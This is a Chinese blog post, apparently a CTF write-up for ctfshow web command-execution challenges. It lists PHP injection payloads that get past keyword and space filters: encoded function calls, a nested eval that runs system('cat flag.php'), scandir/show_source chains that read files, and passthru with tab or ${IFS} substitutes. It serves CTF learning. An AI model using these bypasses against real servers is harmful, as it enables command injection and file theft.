ctfshow-web-命令执行,网络安全开发的基础知识

本文探讨了CTF比赛中关于Web安全的命令执行漏洞,包括如何绕过过滤机制,如通过URL编码、嵌套函数和特殊字符来执行命令。此外,还分享了作者的网络安全学习资源和实践经验,提供了一套网络安全学习路线图、工具箱、项目实战和面试题,旨在帮助读者系统地提升网络安全技能。
摘要由CSDN通过智能技术生成

过滤了php、flag、system
补充打印文件命令?c=echo%20nl%20fl%27%27ag.p%27%27hp;
3. web31
preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
其他的过滤了无所谓,但过滤了.和空格

①其实就是highlight_file(flag.php);的url编码,适用php7
?c=(%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(%99%93%9E%98%D1%8F%97%8F);

②通过嵌套eval函数来获取另一个参数的的方法来绕过,不会判断其他参数的传入
?c=eval($_GET[a]);&a=system(‘cat flag.php’);

③用函数绕
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(scandir(getcwd())[2]);

localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针
scandir():遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
getcwd():获取当前工作目录

④绕空格
?c=passthru(“tac%09fla*”);
?c=passthru(“tac${IFS}$9fla*”);
中间拼接用%0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值